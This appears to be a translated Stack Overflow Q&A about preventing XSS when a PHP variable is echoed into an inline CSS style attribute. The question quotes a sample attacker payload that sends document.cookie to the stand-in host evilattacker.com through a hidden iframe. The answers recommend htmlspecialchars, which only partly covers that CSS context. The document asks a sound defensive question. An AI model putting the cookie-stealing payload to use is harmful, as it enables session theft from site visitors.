在php模板中回显一些东西的正确/安全方法是什么?

时间:2017-05-27 20:22:41

标签: php html echo xss

实施以下功能对XSS方式的正确/安全是什么:

<div style="background:<?php echo $somevar ?>;">

我找到了这个例子,

<div style="background:<?php echo htmlPhpEsc($somevar, ENT_QUOTES, 'UTF-8') ?>;">

说这也是错误的,如果$ somevar由黑客定义如下:

$somevar = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

如果我尝试使用HTML净化器,它会将代码缩减为<div></div> http://htmlpurifier.org/demo.php

例如, 如果我在view.php中实现以下内容:

ob_start();
include 'template_file_where_echo_is_used.php';
$buffer = ob_get_clean();
//pass buffer through some tool like html purifier. Do i need it in this stage?
echo $buffer;

会解决问题吗?

2 个答案:

答案 0 :(得分:1)

简短回答:

echo htmlspecialchars($somevar, ENT_QUOTES, 'UTF-8');

在此处阅读更多内容:https://stackoverflow.com/a/1996141/2119863

答案 1 :(得分:0)

最好的方法是使用{{3}}。根据我测试自己的PHP代码的经验,它已故意停止恶意脚本文本的执行/不被视为常规文本。

因此,对于您的示例,您将执行以下操作:

<div style="background:<?php echo htmlspecialchars($somevar, ENT_QUOTES, 'UTF-8') ?>;">

HTML特殊字符(在我看来)是清理输出到客户端的最佳选择。

编辑:Unamata Sanatarai的答案也很好,事实上ENT_QUOTES,'UTF-8'的加入是一个很好的贡献。